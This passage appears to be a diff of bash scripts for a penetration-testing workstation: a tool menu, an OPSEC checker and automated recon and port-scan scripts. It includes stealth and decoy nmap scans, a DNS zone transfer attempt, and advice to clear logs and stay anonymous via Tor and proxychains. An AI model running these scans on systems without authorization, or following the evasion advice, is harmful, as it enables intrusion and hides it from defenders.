echo -e "${BLUE}2.${NC} Subdomain Discovery (Subfinder + Amass)"
|
||||
echo -e "${BLUE}3.${NC} DNS Enumeration (dnsrecon)"
|
||||
echo -e "${BLUE}4.${NC} WHOIS Lookup"
|
||||
echo -e "${BLUE}5.${NC} Shodan Search"
|
||||
echo -e "${BLUE}6.${NC} Google Dorking (Pagodo)"
|
||||
echo -e "${BLUE}7.${NC} Certificate Transparency"
|
||||
echo -e "${BLUE}8.${NC} Automated Recon Script"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) domain_enum ;;
|
||||
2) subdomain_discovery ;;
|
||||
3) dns_enum ;;
|
||||
4) whois_lookup ;;
|
||||
5) shodan_search ;;
|
||||
6) google_dorking ;;
|
||||
7) cert_transparency ;;
|
||||
8) automated_recon ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; recon_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Network scanning menu
|
||||
network_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Network Scanning Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Nmap Host Discovery"
|
||||
echo -e "${BLUE}2.${NC} Nmap Port Scan (Top 1000)"
|
||||
echo -e "${BLUE}3.${NC} Nmap Full Port Scan"
|
||||
echo -e "${BLUE}4.${NC} Nmap Service Detection"
|
||||
echo -e "${BLUE}5.${NC} Nmap Vulnerability Scripts"
|
||||
echo -e "${BLUE}6.${NC} Masscan Fast Scan"
|
||||
echo -e "${BLUE}7.${NC} Automated Port Scan Script"
|
||||
echo -e "${BLUE}8.${NC} Network Mapper (netdiscover)"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-8]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) nmap_discovery ;;
|
||||
2) nmap_port_scan ;;
|
||||
3) nmap_full_scan ;;
|
||||
4) nmap_service_detection ;;
|
||||
5) nmap_vuln_scripts ;;
|
||||
6) masscan_scan ;;
|
||||
7) automated_port_scan ;;
|
||||
8) network_discovery ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; network_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Web application testing menu
|
||||
web_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Web Application Testing Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Directory/File Enumeration (Gobuster)"
|
||||
echo -e "${BLUE}2.${NC} Technology Detection (WhatWeb)"
|
||||
echo -e "${BLUE}3.${NC} Vulnerability Scanner (Nikto)"
|
||||
echo -e "${BLUE}4.${NC} Web Crawler (Hakrawler)"
|
||||
echo -e "${BLUE}5.${NC} Parameter Discovery (Arjun)"
|
||||
echo -e "${BLUE}6.${NC} SQL Injection (SQLMap)"
|
||||
echo -e "${BLUE}7.${NC} XSS Testing (XSStrike)"
|
||||
echo -e "${BLUE}8.${NC} Automated Web Enum Script"
|
||||
echo -e "${BLUE}9.${NC} Launch Burp Suite"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-9]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) directory_enum ;;
|
||||
2) tech_detection ;;
|
||||
3) web_vuln_scan ;;
|
||||
4) web_crawler ;;
|
||||
5) param_discovery ;;
|
||||
6) sql_injection ;;
|
||||
7) xss_testing ;;
|
||||
8) automated_web_enum ;;
|
||||
9) launch_burp ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; web_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Vulnerability assessment menu
|
||||
vuln_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Vulnerability Assessment Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Nuclei Scanner"
|
||||
echo -e "${BLUE}2.${NC} OpenVAS Scan"
|
||||
echo -e "${BLUE}3.${NC} SearchSploit (ExploitDB)"
|
||||
echo -e "${BLUE}4.${NC} CVE Search"
|
||||
echo -e "${BLUE}5.${NC} Vulnerability Database Lookup"
|
||||
echo -e "${BLUE}6.${NC} Custom Vulnerability Scripts"
|
||||
echo -e "${BLUE}0.${NC} Back to Main Menu"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-6]: ${NC}"
|
||||
|
||||
read -r choice
|
||||
case $choice in
|
||||
1) nuclei_scan ;;
|
||||
2) openvas_scan ;;
|
||||
3) searchsploit_search ;;
|
||||
4) cve_search ;;
|
||||
5) vuln_db_lookup ;;
|
||||
6) custom_vuln_scripts ;;
|
||||
0) return ;;
|
||||
*) echo -e "${RED}Invalid option!${NC}"; sleep 2; vuln_menu ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Functions for each tool category
|
||||
domain_enum() {
|
||||
echo -e "${YELLOW}[*] Domain Enumeration with theHarvester${NC}"
|
||||
echo -ne "Enter target domain: "
|
||||
read -r domain
|
||||
echo -e "${GREEN}[+] Running theHarvester against $domain${NC}"
|
||||
theHarvester -d "$domain" -b all -l 500
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
recon_menu
|
||||
}
|
||||
|
||||
subdomain_discovery() {
|
||||
echo -e "${YELLOW}[*] Subdomain Discovery${NC}"
|
||||
echo -ne "Enter target domain: "
|
||||
read -r domain
|
||||
echo -e "${GREEN}[+] Running Subfinder...${NC}"
|
||||
subfinder -d "$domain" -o "subdomains_$domain.txt"
|
||||
echo -e "${GREEN}[+] Running Amass...${NC}"
|
||||
amass enum -d "$domain" -o "amass_$domain.txt"
|
||||
echo -e "${BLUE}[*] Results saved to subdomains_$domain.txt and amass_$domain.txt${NC}"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
recon_menu
|
||||
}
|
||||
|
||||
nmap_port_scan() {
|
||||
echo -e "${YELLOW}[*] Nmap Port Scan (Top 1000)${NC}"
|
||||
echo -ne "Enter target IP/range: "
|
||||
read -r target
|
||||
echo -e "${GREEN}[+] Scanning $target...${NC}"
|
||||
nmap -sS -T4 --top-ports 1000 -oN "nmap_top1000_$target.txt" "$target"
|
||||
echo -e "${BLUE}[*] Results saved to nmap_top1000_$target.txt${NC}"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
network_menu
|
||||
}
|
||||
|
||||
directory_enum() {
|
||||
echo -e "${YELLOW}[*] Directory/File Enumeration${NC}"
|
||||
echo -ne "Enter target URL: "
|
||||
read -r url
|
||||
echo -e "${GREEN}[+] Running Gobuster against $url${NC}"
|
||||
gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -o "gobuster_$(echo $url | sed 's|https\?://||g' | tr '/' '_').txt"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
web_menu
|
||||
}
|
||||
|
||||
automated_recon() {
|
||||
echo -e "${YELLOW}[*] Running Automated Reconnaissance Script${NC}"
|
||||
echo -ne "Enter target domain/IP: "
|
||||
read -r target
|
||||
echo -e "${GREEN}[+] Executing recon automation script...${NC}"
|
||||
if [ -f "/root/dmealey/tools/scripts/recon_automation.sh" ]; then
|
||||
/root/dmealey/tools/scripts/recon_automation.sh "$target"
|
||||
else
|
||||
echo -e "${RED}[-] Recon automation script not found!${NC}"
|
||||
fi
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
recon_menu
|
||||
}
|
||||
|
||||
automated_port_scan() {
|
||||
echo -e "${YELLOW}[*] Running Automated Port Scan Script${NC}"
|
||||
echo -ne "Enter target IP/range: "
|
||||
read -r target
|
||||
echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
|
||||
if [ -f "/root/dmealey/tools/scripts/port_scan_automation.sh" ]; then
|
||||
/root/dmealey/tools/scripts/port_scan_automation.sh "$target"
|
||||
else
|
||||
echo -e "${RED}[-] Port scan automation script not found!${NC}"
|
||||
fi
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
network_menu
|
||||
}
|
||||
|
||||
automated_web_enum() {
|
||||
echo -e "${YELLOW}[*] Running Automated Web Enumeration Script${NC}"
|
||||
echo -ne "Enter target URL: "
|
||||
read -r url
|
||||
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
|
||||
if [ -f "/root/dmealey/tools/scripts/web_enum_automation.sh" ]; then
|
||||
/root/dmealey/tools/scripts/web_enum_automation.sh "$url"
|
||||
else
|
||||
echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
|
||||
fi
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
web_menu
|
||||
}
|
||||
|
||||
# Tool status and updates
|
||||
tool_status() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Tool Status & Updates ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
|
||||
# Check key tools
|
||||
tools=("nmap" "gobuster" "nuclei" "subfinder" "amass" "sqlmap" "nikto" "whatweb")
|
||||
|
||||
for tool in "${tools[@]}"; do
|
||||
if command -v "$tool" &> /dev/null; then
|
||||
echo -e "${GREEN}[✓]${NC} $tool - Installed"
|
||||
else
|
||||
echo -e "${RED}[✗]${NC} $tool - Not Found"
|
||||
fi
|
||||
done
|
||||
|
||||
echo
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
}
|
||||
|
||||
# Generate reports
|
||||
generate_reports() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Generate Reports ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
|
||||
WORKSPACE="/root/dmealey"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
|
||||
|
||||
mkdir -p "$REPORT_DIR"
|
||||
|
||||
echo -e "${YELLOW}[*] Generating comprehensive report...${NC}"
|
||||
|
||||
# Collect all scan results
|
||||
find "$WORKSPACE" -name "*.txt" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||
find "$WORKSPACE" -name "*.html" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||
find "$WORKSPACE" -name "*.json" -type f -exec cp {} "$REPORT_DIR/" \; 2>/dev/null
|
||||
|
||||
# Create summary report
|
||||
cat > "$REPORT_DIR/summary_report.md" << EOF
|
||||
# Manual Testing Report
|
||||
**Generated:** $(date)
|
||||
**Operator:** $(whoami)
|
||||
|
||||
## Engagement Summary
|
||||
This report contains results from manual penetration testing activities.
|
||||
|
||||
## Files Included
|
||||
$(ls -la "$REPORT_DIR" | grep -v "^total")
|
||||
|
||||
## Key Findings
|
||||
- Review individual tool outputs for detailed findings
|
||||
- Cross-reference results across multiple tools
|
||||
- Validate findings manually before reporting
|
||||
|
||||
## Next Steps
|
||||
1. Analyze all collected data
|
||||
2. Prioritize findings by severity
|
||||
3. Prepare client deliverables
|
||||
4. Archive results securely
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] Report generated: $REPORT_DIR${NC}"
|
||||
echo -e "${BLUE}[*] Press Enter to continue...${NC}"
|
||||
read -r
|
||||
}
|
||||
|
||||
# Main execution loop
|
||||
main() {
|
||||
while true; do
|
||||
clear
|
||||
show_banner
|
||||
show_main_menu
|
||||
read -r choice
|
||||
|
||||
case $choice in
|
||||
1) recon_menu ;;
|
||||
2) network_menu ;;
|
||||
3) web_menu ;;
|
||||
4) vuln_menu ;;
|
||||
5) echo -e "${YELLOW}[*] Exploitation Framework - Launch Metasploit${NC}"; msfconsole ;;
|
||||
6) echo -e "${YELLOW}[*] Post-Exploitation - Launch custom shells/tools${NC}"; sleep 2 ;;
|
||||
7) echo -e "${YELLOW}[*] Password Attacks - Hydra, John, Hashcat${NC}"; sleep 2 ;;
|
||||
8) echo -e "${YELLOW}[*] Wireless Testing - Aircrack-ng suite${NC}"; sleep 2 ;;
|
||||
9) echo -e "${YELLOW}[*] Social Engineering - SET toolkit${NC}"; setoolkit ;;
|
||||
10) echo -e "${YELLOW}[*] OSINT Tools - Various intelligence gathering tools${NC}"; sleep 2 ;;
|
||||
11) echo -e "${YELLOW}[*] Custom Scripts - Run user-defined scripts${NC}"; sleep 2 ;;
|
||||
12) tool_status ;;
|
||||
13) generate_reports ;;
|
||||
0) echo -e "${GREEN}[+] Goodbye!${NC}"; exit 0 ;;
|
||||
*) echo -e "${RED}Invalid option! Please try again.${NC}"; sleep 2 ;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
# Check if running as root
|
||||
if [[ $EUID -eq 0 ]]; then
|
||||
echo -e "${YELLOW}[!] Running as root - be careful!${NC}"
|
||||
sleep 2
|
||||
fi
|
||||
|
||||
# Create dmealey structure if it doesn't exist
|
||||
mkdir -p "/root/dmealey/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
|
||||
|
||||
# Start the main menu
|
||||
main
|
||||
Executable
+118
@@ -0,0 +1,118 @@
|
||||
#!/bin/bash
|
||||
# OPSEC Status Check Script
|
||||
# Monitors operational security status for red team operations
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}=== OPERATIONAL SECURITY STATUS ===${NC}"
|
||||
echo ""
|
||||
|
||||
# Check VPN Status
|
||||
echo -e "${BLUE}[*] VPN Status:${NC}"
|
||||
if pgrep openvpn > /dev/null 2>&1; then
|
||||
echo -e "${GREEN} ✓ OpenVPN is running${NC}"
|
||||
VPN_INTERFACES=$(ip link show | grep -E "tun|tap" | awk -F: '{print $2}' | xargs)
|
||||
if [ ! -z "$VPN_INTERFACES" ]; then
|
||||
echo -e "${GREEN} ✓ VPN interfaces active: $VPN_INTERFACES${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${RED} ✗ OpenVPN not detected${NC}"
|
||||
fi
|
||||
|
||||
# Check Tor Status
|
||||
echo -e "\n${BLUE}[*] Tor Status:${NC}"
|
||||
if systemctl is-active tor >/dev/null 2>&1; then
|
||||
echo -e "${GREEN} ✓ Tor service is active${NC}"
|
||||
if netstat -tuln 2>/dev/null | grep -q ":9050"; then
|
||||
echo -e "${GREEN} ✓ SOCKS proxy listening on 9050${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${YELLOW} - Tor service not active${NC}"
|
||||
fi
|
||||
|
||||
# Check External IP
|
||||
echo -e "\n${BLUE}[*] External IP Check:${NC}"
|
||||
EXTERNAL_IP=$(curl -s --max-time 5 ifconfig.me 2>/dev/null)
|
||||
if [ ! -z "$EXTERNAL_IP" ]; then
|
||||
echo -e "${GREEN} ✓ External IP: $EXTERNAL_IP${NC}"
|
||||
else
|
||||
echo -e "${RED} ✗ Could not determine external IP${NC}"
|
||||
fi
|
||||
|
||||
# Check DNS
|
||||
echo -e "\n${BLUE}[*] DNS Configuration:${NC}"
|
||||
DNS_SERVERS=$(cat /etc/resolv.conf | grep nameserver | awk '{print $2}' | xargs)
|
||||
echo -e "${GREEN} ✓ DNS servers: $DNS_SERVERS${NC}"
|
||||
|
||||
# Check for DNS leaks
|
||||
echo -e "\n${BLUE}[*] DNS Leak Test:${NC}"
|
||||
DNS_LEAK=$(dig +short myip.opendns.com @resolver1.opendns.com 2>/dev/null)
|
||||
if [ ! -z "$DNS_LEAK" ]; then
|
||||
if [ "$DNS_LEAK" = "$EXTERNAL_IP" ]; then
|
||||
echo -e "${GREEN} ✓ No DNS leak detected${NC}"
|
||||
else
|
||||
echo -e "${YELLOW} ! Potential DNS leak: $DNS_LEAK vs $EXTERNAL_IP${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${YELLOW} - DNS leak test failed${NC}"
|
||||
fi
|
||||
|
||||
# Check Active Connections
|
||||
echo -e "\n${BLUE}[*] Active Network Connections:${NC}"
|
||||
ACTIVE_CONS=$(ss -tupln 2>/dev/null | grep -E "LISTEN|ESTAB" | wc -l)
|
||||
echo -e "${GREEN} ✓ $ACTIVE_CONS active connections${NC}"
|
||||
|
||||
# Check Suspicious Processes
|
||||
echo -e "\n${BLUE}[*] Process Security Check:${NC}"
|
||||
SUSPICIOUS_PROCS=$(ps aux | grep -iE "wireshark|tcpdump|ettercap" | grep -v grep | wc -l)
|
||||
if [ $SUSPICIOUS_PROCS -gt 0 ]; then
|
||||
echo -e "${YELLOW} ! $SUSPICIOUS_PROCS monitoring processes detected${NC}"
|
||||
else
|
||||
echo -e "${GREEN} ✓ No obvious monitoring processes${NC}"
|
||||
fi
|
||||
|
||||
# Check SSH Keys
|
||||
echo -e "\n${BLUE}[*] SSH Key Security:${NC}"
|
||||
SSH_KEYS=$(find ~/.ssh -name "*.pub" 2>/dev/null | wc -l)
|
||||
echo -e "${GREEN} ✓ $SSH_KEYS SSH public keys found${NC}"
|
||||
|
||||
# Check System Logs
|
||||
echo -e "\n${BLUE}[*] Log Security:${NC}"
|
||||
AUTH_LOG_SIZE=$(wc -l /var/log/auth.log 2>/dev/null | awk '{print $1}')
|
||||
if [ ! -z "$AUTH_LOG_SIZE" ]; then
|
||||
echo -e "${GREEN} ✓ Auth log has $AUTH_LOG_SIZE entries${NC}"
|
||||
fi
|
||||
|
||||
# Check Firewall Status
|
||||
echo -e "\n${BLUE}[*] Firewall Status:${NC}"
|
||||
if command -v ufw >/dev/null 2>&1; then
|
||||
UFW_STATUS=$(ufw status 2>/dev/null | head -1)
|
||||
echo -e "${GREEN} ✓ UFW: $UFW_STATUS${NC}"
|
||||
fi
|
||||
|
||||
if command -v iptables >/dev/null 2>&1; then
|
||||
IPTABLES_RULES=$(iptables -L 2>/dev/null | grep -c "Chain")
|
||||
echo -e "${GREEN} ✓ iptables: $IPTABLES_RULES chains configured${NC}"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${BLUE}=== OPSEC CHECK COMPLETE ===${NC}"
|
||||
echo ""
|
||||
|
||||
# Provide recommendations based on findings
|
||||
echo -e "${BLUE}[*] Recommendations:${NC}"
|
||||
if ! pgrep openvpn > /dev/null 2>&1; then
|
||||
echo -e "${YELLOW} • Consider using VPN for enhanced anonymity${NC}"
|
||||
fi
|
||||
|
||||
if ! systemctl is-active tor >/dev/null 2>&1; then
|
||||
echo -e "${YELLOW} • Consider enabling Tor for additional anonymity${NC}"
|
||||
fi
|
||||
|
||||
echo -e "${GREEN} • Regularly monitor external IP changes${NC}"
|
||||
echo -e "${GREEN} • Clear logs periodically during operations${NC}"
|
||||
echo -e "${GREEN} • Use proxychains for sensitive network operations${NC}"
|
||||
+153
@@ -0,0 +1,153 @@
|
||||
#!/bin/bash
|
||||
# Automated Port Scanning Script for Attack Box
|
||||
# Usage: ./port_scan_automation.sh <target> [quick|full|stealth]
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Usage: $0 <target> [quick|full|stealth]"
|
||||
echo "Example: $0 192.168.1.1 full"
|
||||
echo " $0 example.com quick"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TARGET="$1"
|
||||
SCAN_TYPE="${2:-quick}"
|
||||
WORKSPACE="/root/dmealey/scans/nmap/$TARGET"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}[+] Starting port scan for: $TARGET${NC}"
|
||||
echo -e "${BLUE}[*] Scan type: $SCAN_TYPE${NC}"
|
||||
|
||||
# Create workspace
|
||||
mkdir -p "$WORKSPACE"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# Create log file
|
||||
LOG_FILE="portscan_$DATE.log"
|
||||
echo "Port scan started at $(date)" > "$LOG_FILE"
|
||||
|
||||
# Function to log and execute
|
||||
log_and_run() {
|
||||
echo -e "${YELLOW}[*] $1${NC}"
|
||||
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
case $SCAN_TYPE in
|
||||
"quick")
|
||||
echo -e "${GREEN}[+] Quick Port Scan (Top 1000 ports)${NC}"
|
||||
log_and_run "Nmap quick scan" "nmap -T4 -F $TARGET -oA nmap_quick_$DATE"
|
||||
log_and_run "Rustscan quick" "rustscan -a $TARGET --ulimit 5000 -- -A"
|
||||
;;
|
||||
|
||||
"full")
|
||||
echo -e "${GREEN}[+] Full Port Scan (All 65535 ports)${NC}"
|
||||
log_and_run "Nmap SYN scan all ports" "nmap -sS -T4 -p- $TARGET -oA nmap_syn_all_$DATE"
|
||||
log_and_run "Nmap service detection on open ports" "nmap -sV -sC -T4 $TARGET -oA nmap_services_$DATE"
|
||||
log_and_run "Nmap UDP scan top ports" "nmap -sU --top-ports 1000 $TARGET -oA nmap_udp_$DATE"
|
||||
log_and_run "Masscan all ports" "masscan -p1-65535 $TARGET --rate=1000 -e tun0 2>/dev/null || echo 'Masscan failed - check interface'"
|
||||
;;
|
||||
|
||||
"stealth")
|
||||
echo -e "${GREEN}[+] Stealth Port Scan${NC}"
|
||||
log_and_run "Nmap stealth SYN scan" "nmap -sS -T2 -f --source-port 53 $TARGET -oA nmap_stealth_$DATE"
|
||||
log_and_run "Nmap decoy scan" "nmap -D RND:10 -T2 $TARGET -oA nmap_decoy_$DATE"
|
||||
;;
|
||||
|
||||
*)
|
||||
echo -e "${RED}[-] Invalid scan type. Use: quick, full, or stealth${NC}"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
# Additional enumeration for common services
|
||||
echo -e "${GREEN}[+] Service-specific enumeration${NC}"
|
||||
|
||||
# Check for common vulnerabilities
|
||||
log_and_run "Nmap vulnerability scripts" "nmap --script vuln $TARGET -oA nmap_vulns_$DATE"
|
||||
|
||||
# Extract open ports for further enumeration
|
||||
if [ -f "nmap_*.gnmap" ]; then
|
||||
OPEN_PORTS=$(grep "open" nmap_*.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | sort -n | uniq | tr '\n' ',')
|
||||
echo -e "${BLUE}[*] Open ports found: $OPEN_PORTS${NC}"
|
||||
|
||||
# Service-specific scans
|
||||
if echo "$OPEN_PORTS" | grep -q "21"; then
|
||||
log_and_run "FTP enumeration" "nmap --script ftp-* -p 21 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "22"; then
|
||||
log_and_run "SSH enumeration" "nmap --script ssh-* -p 22 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "53"; then
|
||||
log_and_run "DNS enumeration" "nmap --script dns-* -p 53 $TARGET"
|
||||
if command -v dig &> /dev/null; then
|
||||
log_and_run "DNS zone transfer attempt" "dig @$TARGET axfr"
|
||||
fi
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -E "(80|443|8080|8443)" &> /dev/null; then
|
||||
log_and_run "HTTP enumeration" "nmap --script http-* -p 80,443,8080,8443 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "139\|445"; then
|
||||
log_and_run "SMB enumeration" "nmap --script smb-* -p 139,445 $TARGET"
|
||||
if command -v enum4linux &> /dev/null; then
|
||||
log_and_run "enum4linux scan" "enum4linux $TARGET"
|
||||
fi
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "1433"; then
|
||||
log_and_run "MSSQL enumeration" "nmap --script ms-sql-* -p 1433 $TARGET"
|
||||
fi
|
||||
|
||||
if echo "$OPEN_PORTS" | grep -q "3306"; then
|
||||
log_and_run "MySQL enumeration" "nmap --script mysql-* -p 3306 $TARGET"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Generate summary
|
||||
echo -e "${GREEN}[+] Port Scan Complete!${NC}"
|
||||
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||
|
||||
# Count open ports
|
||||
if ls nmap_*.gnmap 1> /dev/null 2>&1; then
|
||||
TOTAL_OPEN=$(grep -h "open" nmap_*.gnmap | wc -l)
|
||||
echo -e "${BLUE}[*] Total open ports found: $TOTAL_OPEN${NC}"
|
||||
fi
|
||||
|
||||
# Generate simple report
|
||||
cat > "portscan_report.txt" << EOF
|
||||
Port Scan Report for $TARGET
|
||||
=============================
|
||||
Scan Type: $SCAN_TYPE
|
||||
Date: $(date)
|
||||
Workspace: $WORKSPACE
|
||||
|
||||
Open Ports:
|
||||
$(grep -h "open" nmap_*.gnmap 2>/dev/null | head -20 || echo "No open ports found in gnmap files")
|
||||
|
||||
Summary:
|
||||
- Scan completed successfully
|
||||
- Results saved in multiple formats (.nmap, .xml, .gnmap)
|
||||
- Log file: $LOG_FILE
|
||||
|
||||
Next Steps:
|
||||
1. Review service versions for known vulnerabilities
|
||||
2. Run targeted service enumeration
|
||||
3. Check for default credentials
|
||||
4. Look for misconfigurations
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] Report generated: portscan_report.txt${NC}"
|
||||
echo "Port scan completed at $(date)" >> "$LOG_FILE"
|
||||
Executable
+123
@@ -0,0 +1,123 @@
|
||||
#!/bin/bash
|
||||
# Automated Reconnaissance Script for Attack Box
|
||||
# Usage: ./recon_automation.sh <target_domain>
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Usage: $0 <target_domain>"
|
||||
echo "Example: $0 example.com"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TARGET="$1"
|
||||
WORKSPACE="/root/dmealey/scans/reachability/$TARGET"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}[+] Starting reconnaissance for: $TARGET${NC}"
|
||||
echo -e "${BLUE}[*] Creating workspace directory: $WORKSPACE${NC}"
|
||||
|
||||
# Create workspace
|
||||
mkdir -p "$WORKSPACE"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# Create log file
|
||||
LOG_FILE="recon_$DATE.log"
|
||||
echo "Reconnaissance started at $(date)" > "$LOG_FILE"
|
||||
|
||||
# Function to log and execute
|
||||
log_and_run() {
|
||||
echo -e "${YELLOW}[*] $1${NC}"
|
||||
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
# Subdomain enumeration
|
||||
echo -e "${GREEN}[+] Phase 1: Subdomain Enumeration${NC}"
|
||||
log_and_run "Running Subfinder" "subfinder -d $TARGET -o subdomains_subfinder.txt"
|
||||
log_and_run "Running Assetfinder" "assetfinder --subs-only $TARGET > subdomains_assetfinder.txt"
|
||||
log_and_run "Running Amass" "amass enum -passive -d $TARGET -o subdomains_amass.txt"
|
||||
|
||||
# Combine and deduplicate subdomains
|
||||
log_and_run "Combining subdomain lists" "cat subdomains_*.txt | sort -u > all_subdomains.txt"
|
||||
|
||||
# Check which subdomains are alive
|
||||
echo -e "${GREEN}[+] Phase 2: Checking Live Subdomains${NC}"
|
||||
log_and_run "Checking live subdomains with httprobe" "cat all_subdomains.txt | httprobe -c 50 > live_subdomains.txt"
|
||||
|
||||
# Port scanning on live subdomains
|
||||
echo -e "${GREEN}[+] Phase 3: Port Scanning${NC}"
|
||||
log_and_run "Running Nmap on live subdomains" "nmap -T4 -iL live_subdomains.txt -oA nmap_scan"
|
||||
|
||||
# Web technology detection
|
||||
echo -e "${GREEN}[+] Phase 4: Web Technology Detection${NC}"
|
||||
log_and_run "Running whatweb" "whatweb -i live_subdomains.txt -a 3 > whatweb_results.txt"
|
||||
|
||||
# Screenshot and visual recon
|
||||
echo -e "${GREEN}[+] Phase 5: Visual Reconnaissance${NC}"
|
||||
if command -v aquatone &> /dev/null; then
|
||||
log_and_run "Taking screenshots with Aquatone" "cat live_subdomains.txt | aquatone -out aquatone_report"
|
||||
fi
|
||||
|
||||
# Directory bruteforcing
|
||||
echo -e "${GREEN}[+] Phase 6: Directory Enumeration${NC}"
|
||||
mkdir -p directory_enum
|
||||
while IFS= read -r url; do
|
||||
if [[ $url == http* ]]; then
|
||||
clean_url=$(echo "$url" | sed 's|http://||g' | sed 's|https://||g' | tr '/' '_')
|
||||
log_and_run "Running gobuster on $url" "gobuster dir -u $url -w /usr/share/wordlists/dirb/common.txt -o directory_enum/gobuster_$clean_url.txt -q"
|
||||
fi
|
||||
done < live_subdomains.txt
|
||||
|
||||
# Vulnerability scanning with Nuclei
|
||||
